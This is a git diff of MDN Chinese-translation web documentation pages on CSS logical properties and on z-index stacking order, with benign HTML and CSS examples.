- - diff --git a/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html new file mode 100644 index 0000000000..b96f3f6c88 --- /dev/null +++ b/files/zh-cn/web/css/css_logical_properties/floating_and_positioning/index.html @@ -0,0 +1,132 @@ +--- +title: 浮动和定位的逻辑属性 +slug: Web/CSS/CSS_Logical_Properties/浮动和定位 +translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning +--- +
{{CSSRef}}
+ +

逻辑属性和值指南 包含了 {{cssxref("float")}} 和{{cssxref("clear")}}逻辑属性到物理属性的映射, 以及与定位布局一起使用的定位属性. 通过本文,我们来看看如何使用它们。

+ +

Mapped properties and values

+ +

The table below details the properties and values discussed in this guide along with their physical mappings. They assume a horizontal {{cssxref("writing-mode")}}, with a left-to-right direction.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Logical property or valuePhysical property or value
{{cssxref("float")}}: inline-start{{cssxref("float")}}: left
{{cssxref("float")}}: inline-end{{cssxref("float")}}: right
{{cssxref("clear")}}: inline-start{{cssxref("clear")}}: left
{{cssxref("clear")}}: inline-end{{cssxref("clear")}}: right
{{cssxref("inset-inline-start")}}{{cssxref("left")}}
{{cssxref("inset-inline-end")}}{{cssxref("right")}}
{{cssxref("inset-block-start")}}{{cssxref("top")}}
{{cssxref("inset-block-end")}}{{cssxref("bottom")}}
{{cssxref("text-align")}}: start{{cssxref("text-align")}}: left
{{cssxref("text-align")}}: end{{cssxref("text-align")}}: right
+ +

In addition to these mapped properties there are some additional shorthand properties made possible by being able to address block and inline dimensions. These have no mapping to physical properties, aside from the {{cssxref("inset")}} property.

+ + + + + + + + + + + + + + + + + + + + + + +
Logical propertyPurpose
{{cssxref("inset-inline")}}Sets both of the above inset values for the inline dimension simultaneously.
{{cssxref("inset-block")}}Sets both of the above inset values for the block dimension simultaneously.
{{cssxref("inset")}}Sets all four inset values simultaneously with physical mapping of multi-value.
+ +

Float and clear example

+ +

The physical values used with the {{cssxref("float")}} and {{cssxref("clear")}} properties are left, right and both. The Logical Properties specification defines the values inline-start and inline-end as mappings for left and right.

+ +

In the example below I have two boxes — the first has the box floated with float: left, the second with float: inline-start. If you change the writing-mode to vertical-rl or the direction to rtl you will see that the left-floated box always sticks to the left, whereas the inline-start-floated item follows the direction and writing-mode.

+ +

{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}

+ +

Example: Inset properties for positioned layout

+ +

Positioning generally allows us to position an element in a manner relative to its containing block — we essentially inset the item relative to where it would fall based on normal flow. To do this we have historically used the physical properties {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} and {{cssxref("left")}}.

+ +

These properties take a length or a percentage as a value, and relate to the user's screen dimensions.

+ +

New properties have been created in the Logical Properties specification for when you want the positioning to relate to the flow of text in your writing mode. These are as follows: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, {{cssxref("inset-inline-start")}} and {{cssxref("inset-inline-end")}}.

+ +

In the below example I have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative. Change the writing-mode property to vertical-rl, or add direction: rtl, and see how the flow relative box stays with the text direction.

+ +

{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}

+ +

New two- and four-value shorthands

+ +

As with other properties in the specification we have some new shorthand properties, which give the ability to set two or four values at once.

+ + + +
+

Note: The browsers that have implemented the Logical Properties specification have so far implemented the direct mappings and not the new shorthands. Look to the browser compatibility data section on each property page reference for more details.

+
+ +

Example: Logical values for text-align

+ +

The {{cssxref("text-align")}} property has logical values that relate to text direction — rather than using left and right we can use start and end. In the below example I have set text-align: right in the first block and text-align: end in the second.

+ +

If you change the value of direction to rtl you will see that the alignment stays to the right for the first block, but goes to the logical end on the left in the second.

+ +

{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}

+ +

This works in a more consistent way when using box alignment that uses start and end rather than physical directions for alignment.

diff --git "a/files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" "b/files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" deleted file mode 100644 index b96f3f6c88..0000000000 --- "a/files/zh-cn/web/css/css_logical_properties/\346\265\256\345\212\250\345\222\214\345\256\232\344\275\215/index.html" +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: 浮动和定位的逻辑属性 -slug: Web/CSS/CSS_Logical_Properties/浮动和定位 -translation_of: Web/CSS/CSS_Logical_Properties/Floating_and_positioning ---- -
{{CSSRef}}
- -

逻辑属性和值指南 包含了 {{cssxref("float")}} 和{{cssxref("clear")}}逻辑属性到物理属性的映射, 以及与定位布局一起使用的定位属性. 通过本文,我们来看看如何使用它们。

- -

Mapped properties and values

- -

The table below details the properties and values discussed in this guide along with their physical mappings. They assume a horizontal {{cssxref("writing-mode")}}, with a left-to-right direction.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Logical property or valuePhysical property or value
{{cssxref("float")}}: inline-start{{cssxref("float")}}: left
{{cssxref("float")}}: inline-end{{cssxref("float")}}: right
{{cssxref("clear")}}: inline-start{{cssxref("clear")}}: left
{{cssxref("clear")}}: inline-end{{cssxref("clear")}}: right
{{cssxref("inset-inline-start")}}{{cssxref("left")}}
{{cssxref("inset-inline-end")}}{{cssxref("right")}}
{{cssxref("inset-block-start")}}{{cssxref("top")}}
{{cssxref("inset-block-end")}}{{cssxref("bottom")}}
{{cssxref("text-align")}}: start{{cssxref("text-align")}}: left
{{cssxref("text-align")}}: end{{cssxref("text-align")}}: right
- -

In addition to these mapped properties there are some additional shorthand properties made possible by being able to address block and inline dimensions. These have no mapping to physical properties, aside from the {{cssxref("inset")}} property.

- - - - - - - - - - - - - - - - - - - - - - -
Logical propertyPurpose
{{cssxref("inset-inline")}}Sets both of the above inset values for the inline dimension simultaneously.
{{cssxref("inset-block")}}Sets both of the above inset values for the block dimension simultaneously.
{{cssxref("inset")}}Sets all four inset values simultaneously with physical mapping of multi-value.
- -

Float and clear example

- -

The physical values used with the {{cssxref("float")}} and {{cssxref("clear")}} properties are left, right and both. The Logical Properties specification defines the values inline-start and inline-end as mappings for left and right.

- -

In the example below I have two boxes — the first has the box floated with float: left, the second with float: inline-start. If you change the writing-mode to vertical-rl or the direction to rtl you will see that the left-floated box always sticks to the left, whereas the inline-start-floated item follows the direction and writing-mode.

- -

{{EmbedGHLiveSample("css-examples/logical/float.html", '100%', 700)}}

- -

Example: Inset properties for positioned layout

- -

Positioning generally allows us to position an element in a manner relative to its containing block — we essentially inset the item relative to where it would fall based on normal flow. To do this we have historically used the physical properties {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} and {{cssxref("left")}}.

- -

These properties take a length or a percentage as a value, and relate to the user's screen dimensions.

- -

New properties have been created in the Logical Properties specification for when you want the positioning to relate to the flow of text in your writing mode. These are as follows: {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}}, {{cssxref("inset-inline-start")}} and {{cssxref("inset-inline-end")}}.

- -

In the below example I have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative. Change the writing-mode property to vertical-rl, or add direction: rtl, and see how the flow relative box stays with the text direction.

- -

{{EmbedGHLiveSample("css-examples/logical/positioning-inset.html", '100%', 700)}}

- -

New two- and four-value shorthands

- -

As with other properties in the specification we have some new shorthand properties, which give the ability to set two or four values at once.

- - - -
-

Note: The browsers that have implemented the Logical Properties specification have so far implemented the direct mappings and not the new shorthands. Look to the browser compatibility data section on each property page reference for more details.

-
- -

Example: Logical values for text-align

- -

The {{cssxref("text-align")}} property has logical values that relate to text direction — rather than using left and right we can use start and end. In the below example I have set text-align: right in the first block and text-align: end in the second.

- -

If you change the value of direction to rtl you will see that the alignment stays to the right for the first block, but goes to the logical end on the left in the second.

- -

{{EmbedGHLiveSample("css-examples/logical/text-align.html", '100%', 700)}}

- -

This works in a more consistent way when using box alignment that uses start and end rather than physical directions for alignment.

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html new file mode 100644 index 0000000000..acd3b034ce --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/adding_z-index/index.html @@ -0,0 +1,158 @@ +--- +title: Adding z-index +slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +--- +

« CSS «理解z-index

+

使用 {{ cssxref("z-index") }}

+

在第一个例子 Stacking without z-index中, 我们描述了默认的摆放顺序。 当你需要指定不同的排列顺序时, 只要给元素指定一个z-index的数值就可以了。 

+

 

+

该属性必须是整数(正负均可), 它体现了元素在z轴的位置。 如果你对z轴体系不了解, 你也可以把它理解成“层叠”, 每个层都有一个顺序数, 顺序数大的层在上面, 小的在下面。 

+

注意!z-index只对指定了 positioned属性的元素有效。

+ +
+

注释:

+ +
+

在下一个例子中, 所有的层都是用z-index进行排序的。 元素div#5 的z-index无效, 因为他没有被指定position属性。 

+

Example of stacking rules modified using z-index

+

Example source code

+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div {
+   opacity: 0.7;
+   font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+   z-index: 8;
+   height: 70px;
+   border: 1px dashed #999966;
+   background-color: #ffffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv1 {
+   z-index: 3;
+   height: 100px;
+   position: relative;
+   top: 30px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#reldiv2 {
+   z-index: 2;
+   height: 100px;
+   position: relative;
+   top: 15px;
+   left: 20px;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   margin: 0px 50px 0px 50px;
+   text-align: center;
+}
+
+#absdiv1 {
+   z-index: 5;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   left: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#absdiv2 {
+   z-index: 1;
+   position: absolute;
+   width: 150px;
+   height: 350px;
+   top: 10px;
+   right: 10px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+</style></head>
+
+<body>
+
+<br /><br />
+
+<div id="absdiv1">
+   <br /><span class="bold">DIV #1</span>
+   <br />position: absolute;
+   <br />z-index: 5;
+</div>
+
+<div id="reldiv1">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: relative;
+   <br />z-index: 3;
+</div>
+
+<div id="reldiv2">
+   <br /><span class="bold">DIV #3</span>
+   <br />position: relative;
+   <br />z-index: 2;
+</div>
+
+<div id="absdiv2">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+</div>
+
+<div id="normdiv">
+   <br /><span class="bold">DIV #5</span>
+   <br />no positioning
+   <br />z-index: 8;
+</div>
+
+</body></html>
+
+

See also

+ +
+

Original Document Information

+ +
+

{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html new file mode 100644 index 0000000000..19f49650d1 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/index.html @@ -0,0 +1,47 @@ +--- +title: 理解CSS的 z-index属性 +slug: Web/Guide/CSS/Understanding_z_index +tags: + - CSS + - Guide +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index +--- +

{{cssref}}

+ +

通常情况下,HTML页面可以被认为是二维的,因为文本,图像和其他元素被排列在页面上而不重叠。在这种情况下,只有一个渲染进程,所有元素都知道其他元素所占用的空间。 {{cssxref("z-index")}}属性可让你在渲染内容时调整对象分层的顺序。

+ +
+

在 CSS 2.1 中, 所有的盒模型元素都处于三维坐标系中。 除了我们常用的横坐标和纵坐标, 盒模型元素还可以沿着“z 轴”层叠摆放, 当他们相互覆盖时, z 轴顺序就变得十分重要。

+
+ +

(参见 CSS 2.1 Section 9.9.1 - Layered presentation)

+ +

这意味着其实 CSS 允许你在现有的渲染引擎上层叠的摆放盒模型元素。 所有的层都可以用一个整数( z 轴顺序)来表明当前层在 z 轴的位置。 数字越大, 元素越接近观察者。Z 轴顺序用 CSS 的 {{ cssxref("z-index") }} 属性来指定。

+ +

使用 z-index 很简单: 给它指定一个整数值即可。 然而,在层叠比较复杂的 HTML 元素上使用 z-index 时,结果可能让人觉得困惑,甚至不可思议。 这是由复杂的元素排布规则导致的。  更多细节请参见  CSS-2.1 Appendix E 。

+ +

本文将通过一些简单的例子来解释这些规则。

+ +
    +
  1. Stacking without z-index : 默认的摆放规则,即不含有 z-index 属性时
  2. +
  3. Stacking and float : 浮动元素的处理方式
  4. +
  5. Adding z-index : 使用 z-index 来改变堆放顺序
  6. +
  7. The stacking context : 内容堆放注意事项
  8. +
  9. Stacking context example 1 : 在两层元素的第二层上使用 z-index
  10. +
  11. Stacking context example 2 : 在两层元素的所有层上使用 z-index
  12. +
  13. Stacking context example 3 : 在三层元素的第二层上使用 z-index
  14. +
+ +
+

 

+ +

原始文档信息

+ +

 

+ + +
diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html new file mode 100644 index 0000000000..9312c1759d --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_and_float/index.html @@ -0,0 +1,158 @@ +--- +title: 层叠与浮动 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_and_float +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +--- +

« CSS « 理解 CSS 中的 z-index

+ +

层叠与浮动

+ +

对于浮动的块元素来说,层叠顺序变得有些不同。浮动块元素被放置于非定位块元素与定位块元素之间:

+ +
    +
  1. 根元素的背景与边框
  2. +
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. +
  5. 浮动块元素
  6. +
  7. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  8. +
+ +

实际上,在接下来的例子中你会看到,非定位块元素(DIV #4)的背景与边框丝毫不会受到浮动块元素的影响,但内容却恰恰相反。出现这种情况是由于 CSS 的标准浮动行为引起的。

+ +

这种行为可以通过前一章列表的改进版本来解释:

+ +
    +
  1. 根元素的背景与边框
  2. +
  3. 位于普通流中的后代块元素按照它们在 HTML 中出现的顺序层叠
  4. +
  5. 浮动块元素
  6. +
  7. 常规流中的后代行内元素
  8. +
  9. 后代中的定位元素按照它们在 HTML 中出现的顺序层叠
  10. +
+ +
注意: 在下面的例子中,除了非定位的那个块元素外,所有的块元素都是半透明的,以便来显示层叠顺序。如果减少非定位元素(DIV #4)的透明度,会发生很诡异的事情:该元素的背景和边框会出现在浮动块元素上方,但是仍然处于定位元素的下方。我不能确定这是规范的 bug 或是怪异的解析。(设置透明度会隐式的创建一个层叠上下文。)
+ +

{{ EmbedLiveSample('该示例的源码', '563', '255', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_and_float') }}

+ +

该示例的源码

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Stacking and float</title>
+    <style type="text/css">
+
+    div {
+        font: 12px Arial;
+    }
+
+    span.bold { font-weight: bold; }
+
+    #absdiv1 {
+        position: absolute;
+        width: 150px;
+        height: 200px;
+        top: 10px;
+        right: 140px;
+        border: 1px dashed #990000;
+        background-color: #ffdddd;
+        text-align: center;
+    }
+
+    #normdiv {
+        /* opacity: 0.7; */
+        height: 100px;
+        border: 1px dashed #999966;
+        background-color: #ffffcc;
+        margin: 0px 10px 0px 10px;
+        text-align: left;
+    }
+
+    #flodiv1 {
+        margin: 0px 10px 0px 20px;
+        float: left;
+        width: 150px;
+        height: 200px;
+        border: 1px dashed #009900;
+        background-color: #ccffcc;
+        text-align: center;
+    }
+
+    #flodiv2 {
+        margin: 0px 20px 0px 10px;
+        float: right;
+        width: 150px;
+        height: 200px;
+        border: 1px dashed #009900;
+        background-color: #ccffcc;
+        text-align: center;
+    }
+
+    #absdiv2 {
+        position: absolute;
+        width: 150px;
+        height: 100px;
+        top: 130px;
+        left: 100px;
+        border: 1px dashed #990000;
+        background-color: #ffdddd;
+        text-align: center;
+    }
+
+</style>
+</head>
+
+<body>
+    <br /><br />
+
+    <div id="absdiv1">
+        <br /><span class="bold">DIV #1</span>
+        <br />position: absolute;
+    </div>
+
+    <div id="flodiv1">
+        <br /><span class="bold">DIV #2</span>
+        <br />float: left;
+    </div>
+
+    <div id="flodiv2">
+        <br /><span class="bold">DIV #3</span>
+        <br />float: right;
+    </div>
+
+    <br />
+
+    <div id="normdiv">
+        <br /><span class="bold">DIV #4</span>
+        <br />no positioning
+    </div>
+
+    <div id="absdiv2">
+        <br /><span class="bold">DIV #5</span>
+        <br />position: absolute;
+    </div>
+</body>
+</html>
+
+ +

相关链接

+ + + +
+

原始文档信息

+ + +
+ +

 

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html new file mode 100644 index 0000000000..59f298d269 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_1/index.html @@ -0,0 +1,133 @@ +--- +title: Stacking context example 1 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_1 +tags: + - 理解_CSS_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +--- +

« CSS « Understanding CSS z-index

+ +

Stacking context 层叠上下文 例子 1

+ +

先看一个基础的例子。在根元素的层叠上下文中,有两个都是相对定位且没有设置 z-index 属性的 DIV(DIV #1 和 DIV #3)。在 DIV #1 中有一个绝对定位的 DIV #2,而在 DIV #3 中有一个绝对定位的 DIV #4,DIV #2 和 DIV #4 也都没有设置 z-index 属性。

+ +

现在唯一的层叠上下文就是根元素的上下文。因为没有 z-index 值,所有的元素按照出现(在 HTML 中)的顺序层叠。

+ +

Stacking context example 1

+ +

如果给 DIV #2 设置一个正的 z-index  值 (不能是 0 或 auto) ,那么 DIV #2 会渲染在其他所有 DIV 之上。

+ +

Stacking context example 1

+ +

然后如果给 DIV #4 也设置一个正的 z-index  值,且这个值比给的 DIV #2 设置的值要大,则 DIV #4  会渲染在其他所有 DIV(包括 DIV #2)之上。

+ +

Stacking context example 1

+ +

在这个列子中,DIV #2 和 DIV #4 不是兄弟关系(因为它们的父元素不同)。即便如此,我们也可以通过 z-index 来控制 DIV #4 和 DIV #2 的层叠关系。这是因为,DIV #1 和 DIV #3 没有设置 z-index 的值,所以它们不会创建层叠上下文。这就意味着 DIV #1 和 DIV #3 的所有内容(包括 DIV #2 和 DIV #4)都属于同一个层叠上下文(即根元素的层叠上下文)。

+ +

就层叠上下文而言,DIV #1 和 DIV #3 隶属于根元素,因此层次结构如下所示:

+ + + +
注意: DIV #1 和 DIV #3 不是透明的。记住所有设置了 opacity 小于 1 的定位元素都会隐式地生成一个层叠上下文(和给元素增加一个 z-index 值的效果相同)。上述的例子是为了说明,当父元素没有生成一个层叠上下文环境的时候,各元素是怎么层叠的。
+ +

Example

+ +

HTML

+ +
<div id="div1">
+<br /><span class="bold">DIV #1</span>
+<br />position: relative;
+   <div id="div2">
+   <br /><span class="bold">DIV #2</span>
+   <br />position: absolute;
+   <br />z-index: 1;
+   </div>
+</div>
+
+<br />
+
+<div id="div3">
+<br /><span class="bold">DIV #3</span>
+<br />position: relative;
+   <div id="div4">
+   <br /><span class="bold">DIV #4</span>
+   <br />position: absolute;
+   <br />z-index: 2;
+   </div>
+</div>
+
+</body></html>
+
+ +

CSS

+ +
.bold {
+    font-weight: bold;
+    font: 12px Arial;
+}
+#div1,
+#div3 {
+    height: 80px;
+    position: relative;
+    border: 1px dashed #669966;
+    background-color: #ccffcc;
+    padding-left: 5px;
+}
+#div2 {
+    opacity: 0.8;
+    z-index: 1;
+    position: absolute;
+    width: 150px;
+    height: 200px;
+    top: 20px;
+    left: 170px;
+    border: 1px dashed #990000;
+    background-color: #ffdddd;
+    text-align: center;
+}
+#div4 {
+    opacity: 0.8;
+    z-index: 2;
+    position: absolute;
+    width: 200px;
+    height: 70px;
+    top: 65px;
+    left: 50px;
+    border: 1px dashed #000099;
+    background-color: #ddddff;
+    text-align: left;
+    padding-left: 10px;
+}
+ +

Result

+ +

{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1') }}

+ +

See also

+ + + +
+

Original Document Information

+ + +
diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html new file mode 100644 index 0000000000..3c21bef062 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_2/index.html @@ -0,0 +1,142 @@ +--- +title: Stacking context example 2 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2 +tags: + - CSS + - 理解css的index属性 + - 高级 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +--- +

« CSS « 理解CSS z-index

+ +

层叠上下文示例 2

+ +

这是一个非常简单的例子, 但它是理解层叠上下文这个概念的关键。还是和之前的例子中一样的四个DIV,不过现在z-index属性被分配在两个水平的层次结构中。

+ +

{{ EmbedLiveSample('Example_source_code', '352', '270', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_2') }}

+ +

可以看到现在DIV #2 (z-index: 2)在DIV #3 (z-index: 1)的上面,因为他们都属于同一个层叠上下文(根元素创建的层叠上下文),所以z-index的值决定了元素如何叠放。

+ +

奇怪的是DIV #2 (z-index: 2)在DIV #4 (z-index: 10)的上面,尽管DIV #2的z-index值小于DIV #4。原因在于它们不属于同一个层叠上下文。DIV #4处于DIV #3所创建的层叠上下文中,而整个DIV #3(包含其后代元素)是在DIV #2下面的。

+ +

为了更好的理解这种情况, 这里列出了层叠上下文的层次结构:

+ + + +
Note: 值得记住的是,通常HTML的层次结构和层叠上下文的层次结构是不同的。在层叠上下文的层次结构中,没有创建层叠上下文的元素同其父级处于一个层叠上下文。
+ +

示例源码

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+#div2 { z-index: 2; }
+#div3 { z-index: 1; }
+#div4 { z-index: 10; }
+
+#div1,#div3 {
+   height: 80px;
+   position: relative;
+   border: 1px dashed #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#div2 {
+   opacity: 0.8;
+   position: absolute;
+   width: 150px;
+   height: 200px;
+   top: 20px;
+   left: 170px;
+   border: 1px dashed #990000;
+   background-color: #ffdddd;
+   text-align: center;
+}
+
+#div4 {
+   opacity: 0.8;
+   position: absolute;
+   width: 200px;
+   height: 70px;
+   top: 65px;
+   left: 50px;
+   border: 1px dashed #000099;
+   background-color: #ddddff;
+   text-align: left;
+   padding-left: 10px;
+}
+
+
+</style></head>
+
+<body>
+
+    <br />
+
+    <div id="div1"><br />
+        <span class="bold">DIV #1</span><br />
+        position: relative;
+        <div id="div2"><br />
+            <span class="bold">DIV #2</span><br />
+            position: absolute;<br />
+            z-index: 2;
+        </div>
+    </div>
+
+    <br />
+
+    <div id="div3"><br />
+        <span class="bold">DIV #3</span><br />
+        position: relative;<br />
+        z-index: 1;
+        <div id="div4"><br />
+            <span class="bold">DIV #4</span><br />
+            position: absolute;<br />
+            z-index: 10;
+        </div>
+    </div>
+
+</body>
+</html>
+
+ +

相关文章

+ + + +
+

原文信息

+ + +
+ +

 

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html new file mode 100644 index 0000000000..f7d2972c7c --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html @@ -0,0 +1,190 @@ +--- +title: Stacking context example 3 +slug: Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3 +tags: + - CSS + - 层叠上下文 + - 理解css的z-index属性 +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +--- +

« CSS « Understanding CSS z-index

+ +

层叠上下文示例 3

+ +

最后一个例子展示了,在多层级的HTML结构中混合了多个定位元素且使用类选择器设置z-index属性时出现的问题。

+ +

我们来看一个用多个定位的div实现的三级菜单的例子,二级菜单和三级菜单在鼠标悬停或点击其父元素时才出现,通常这样的菜单在客户端和服务端都是由脚本生成的,所以样式规则不是通过ID选择器设置而是通过类选择器设置。

+ +

如果这个三级菜单有部分区域重叠,管理层叠顺序就会成为一个问题。

+ +

{{ EmbedLiveSample('Example_source_code', '320', '330', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_context_example_3') }}

+ + + +

一级菜单仅仅是相对定位,所以没有创建层叠上下文。

+ +

二级菜单相对其父元素(一级菜单)绝对定位,要使二级菜单在所有一级菜单的上方,则需要使用z-index。此时每个二级菜单都创建了一个层叠上下文,而三级菜单也处于其父元素(二级菜单)创建的上下文中。

+ +

这样一来,在HTML结构中处于三级菜单后面的二级菜单,则会显示在三级菜单的上方,因为所有的二级菜单都使用了同样的z-index值,所以处于同一个层叠上下文中。

+ +

为了能更好地理解这种情况,这里列出了层叠上下文的层次结构:

+ + + +

可以通过移除不同级别的菜单之间的重叠,或者使用ID选择器指定独立的(不同的)z-index值,或者减少HTML的层级来解决这个问题。

+ +
Note: 在源码中你会看到三级菜单和二级菜单是由一个绝对定位元素包含很多div来实现的,这种方式在需要同时定位一组元素时很有用。
+ +

示例源码

+ +
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head><style type="text/css">
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+   width: 250px;
+   height: 70px;
+   position: relative;
+   border: 2px outset #669966;
+   background-color: #ccffcc;
+   padding-left: 5px;
+}
+
+#container1 {
+   z-index: 1;
+   position: absolute;
+   top: 30px;
+   left: 75px;
+}
+
+div.lev2 {
+   opacity: 0.9;
+   width: 200px;
+   height: 60px;
+   position: relative;
+   border: 2px outset #990000;
+   background-color: #ffdddd;
+   padding-left: 5px;
+}
+
+#container2 {
+   z-index: 1;
+   position: absolute;
+   top: 20px;
+   left: 110px;
+}
+
+div.lev3 {
+   z-index: 10;
+   width: 100px;
+   position: relative;
+   border: 2px outset #000099;
+   background-color: #ddddff;
+   padding-left: 5px;
+}
+
+</style></head>
+
+<body>
+
+<br />
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+
+   <div id="container1">
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+
+         <div id="container2">
+
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+            <div class="lev3"><span class="bold">LEVEL #3</span></div>
+
+         </div>
+
+      </div>
+
+      <div class="lev2">
+      <br /><span class="bold">LEVEL #2</span>
+      <br />z-index: 1;
+      </div>
+
+   </div>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+<div class="lev1">
+<span class="bold">LEVEL #1</span>
+</div>
+
+</body></html>
+
+ +

相关文章

+ + + +
+

原文信息

+ + +
+ +

Note: the reason the sample image looks wrong - with the second level 2 overlapping the level 3 menus - is because level 2 has opacity, which creates a new stacking context. Basically, this whole sample page is incorrect and misleading.

diff --git a/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html new file mode 100644 index 0000000000..a5aaebdc95 --- /dev/null +++ b/files/zh-cn/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html @@ -0,0 +1,161 @@ +--- +title: Stacking without z-index +slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index +translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +--- +

« CSS « 理解 CSS z-index

+ +

不含z-index的堆叠

+ +

当没有元素包含z-index属性时,元素按照如下顺序堆叠(从底到顶顺序):

+ +
    +
  1. 根元素的背景和边界
  2. +
  3. 普通流(无定位)里的块元素(没有position或者position:static;)按HTML中的出现顺序堆叠
  4. +
